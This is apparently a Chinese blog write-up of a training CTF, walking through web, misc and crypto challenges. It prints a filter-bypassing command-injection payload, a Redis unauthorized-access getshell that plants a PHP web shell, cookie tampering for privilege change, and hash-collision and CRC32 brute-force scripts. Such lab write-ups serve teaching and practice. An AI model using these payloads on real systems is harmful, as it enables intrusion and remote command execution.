SJU暑期培训结业&淘汰CTF赛 Write Up

版权声明:本博客原创内容由SJU_x1u_q1n9所有 https://blog.csdn.net/SJU_x1u_q1n9/article/details/81662254

WEB

Warm up

根据网页GIF提示,本题为js混淆+md5解密。
F12后发现有两个链接,我们这里进入scripts/login.js
这里写图片描述
然后JS混淆加密压缩后得密码的MD5值
这里写图片描述
最后MD5解码得到密码,然后登陆即可
这里写图片描述

BabyWeb

根据题目hit:user/user提示,这里我们先尝试用户和密码均为user
这里写图片描述
然后提示只有visitor身份才能得到flag,所以我们就抓包把cookie中的user改成visitor,得到flag
这里写图片描述
这里写图片描述

Exec

一开始一脸懵逼,然后看到题目网页标题为command execution后问了度娘,找到大佬博客,然后进去学习一波。
这里写图片描述
因为过滤了<– ‘&,;,|,-,$,(,),`,||’ => ”,–> 所以直接用%0a替代,前面的网址随便输,进行burp suite抓包,这里构造127.0.0.1%0als,看到了flag_sju.php,这就是下一步目标了
这里写图片描述
然后抓包构造payload:127.0.0.1%0acat flag_sju.php得到flag
这里写图片描述

Redis

这里考察的是redis的漏洞,redis getshell
参考文章:
redis渗透中的getshell问题总结
离别歌大佬的博客
redis未授权访问漏洞
题目进去给的是phpinfo的页面
首先找到web根目录
这里写图片描述
然后写shell,可以使用redis本身的工具 也可以使用nc,telnet等工具
redis的使用可看这篇文章
这里写图片描述
我们往其中写入一句话木马,然后进行调用
一句话木马脚本为:

<?php
system($_GET['cmd']);
?>

使用Hackbar,输入调用命令cmd=cat ../flag即可得到flag
这里写图片描述

Misc

CLANNAD

这里给出参考网站
其实这题是伪装的mp3文件

我们直接用音频解码软件Mp3stego跑一下就OK
这里写图片描述
打开生成的TXT文件,其中就是flag

隐写

盲水印攻击,工具BlindWaterMark
比赛tips写的是BWM,然后我谷歌了半天宝马2333
参考实例教程

首先解压图片,伪加密,用winrar或者修改下加密位,即可解开。
生成两张一样的图片,直接用盲水印攻击。
这里写图片描述
生成图片,仔细一看flag在图片中,放大一下即可看到。
这里写图片描述

ZipCRC32

本题是CRC32爆破
参考文章

压缩包里面53个压缩包,每个里面都有文件data.txt。注释if you want to find the flag, this hint may be useful: the text files within each zip consist of only “printable” ASCII characters

也就是说压缩包文件的txt内容都是ASCII字符,binwalk查看发现每个长度都是4.直接用脚本爆破CRC32就可以爆破出每一个TXT文件内容
这里给出爆破脚本:

#coding:utf-8
import zipfile
import string
import binascii

def CrackCrc(crc):
    for i in dic:
        for j in dic:
            for p in dic:
                for q in dic:
                    s = i + j + p + q
                    if crc == (binascii.crc32(s) & 0xffffffff):
                        print s
                        f.write(s)
                        return

def CrackZip():
    for I in range(54):
        file = 'chunk' + str(I) + '.zip'
        f = zipfile.ZipFile(file, 'r')
        GetCrc = f.getinfo('data.txt')
        crc = GetCrc.CRC
        #以上3行为获取压缩包CRC32值的步骤
        print hex(crc)
        CrackCrc(crc)

dic = string.ascii_letters + string.digits + '+/='

f = open('data.txt', 'w')
CrackZip()
f.close()

data.txt里面内容为

UEsDBBQDAQAAAJFy1kgWujyNLwAAACMAAAAIAAAAZmxhZy50eHT/xhoeSnjMRLuArw2FXUAIWn8UQblChs4AF1dAnT4nB5hs2SkR4fTfZZRB56Bp/FBLAQI/AxQDAQAAAJFy1kgWujyNLwAAACMAAAAIAAAAAAAAAAAAIIC0gQAAAABmbGFnLnR4dFBLBQYAAAAAAQABADYAAABVAAAAAAA=

base64解密发现是zip文件格式
这里写图片描述
转换成16进制

504b03041403010000009172d64816ba3c8d2f0000002300000008000000666c61672e747874ffc61a1e4a78cc44bb80af0d855d40085a

打开zip文件发现内容加密,直接爆破
这里写图片描述

Easy Forensics

这是流量分析题,过滤HTTP协议
这里写图片描述
发现post数据包,追踪发现zip文件
这里写图片描述
导出原始数据,导出http选中upload,点击save->upload.php
这里写图片描述
另存为zip文件,打开发现前一半Flag
这里写图片描述
右击属性或者winhex打开搜索另一半 拼接在一起 即可得到完整flag
这里写图片描述

Crypto

啥都可以加密

凭经验看是玛丽苏密码,然后使用玛丽苏密码在线解密,得到与佛论坛
这里写图片描述
然后把佛语在线解密,得到flag

简单加密

本题是base32->url->uuencode
题目给了一段字符串:

JU2FISJVEUZUKVZFGIYUYOJWEUZDKUZZGUSTKRCTEUZUINRFGI4U2JJTIE3TCJJTIYSTGRBFGI3ECSJFGNBVKJJVIRJSKM2BEUZDEJJSGVKDOVRFGI2U4OJFGI2SKNKEI44TOMJFGNDCKM2FGYSTKRCVEUZUGRJFGVCFGOCWEU2UIURFGBASKMRTHEZCKMRVEU2UI===

显然为base32,进行解密
这里写图片描述
url解密
这里写图片描述
uuencode解密
这里写图片描述

MD5 is dead

根据源码分析,两个文件MD5值相等,SHA1值不等,大小在2017k和2018k之间。
这里写图片描述
Google伪造MD5得到神器fastcoll使用教程

在fastcoll根目录下创建一个大小为2065409字节的空文件,名为test.txt,可以满足大小条件。
输入cmd代码为

fsutil file createnew test.txt 2065409

进入cmd界面,运行fastcoll,选择 -p ,然后将生成的文件拖进fastcoll,即可得到两个MD5值相等,SHA1值不等且大小满足的文件。
两个提交上去得到flag

SHA-1 is dead too

题目要求md5相同sha1不同的两个文件,同时要求大小在2017kib~2018kib范围
这里写图片描述
参考CTFwiki,下载两个sha1值相同的pdf
修改一下题目要求大小的脚本,在目录下创建upload1和upload2,运行后得到的两个upload文件上传得flag

from hashlib import sha1
from hashlib import sha256

pdf1 = open('./shattered-1.pdf').read(320)
pdf2 = open('./shattered-2.pdf').read(320)
pdf1 = pdf1.ljust(2018 * 1024 + 1 - 320, "\00")  # padding pdf to 2018Kib + 1
pdf2 = pdf2.ljust(2018 * 1024 + 1 - 320, "\00")
open("upload1", "w").write(pdf1)
open("upload2", "w").write(pdf2)

print sha1(pdf1).hexdigest()
print sha1(pdf2).hexdigest()
print sha256(pdf1).hexdigest()
print sha256(pdf2).hexdigest()

猜你喜欢

转载自blog.csdn.net/SJU_x1u_q1n9/article/details/81662254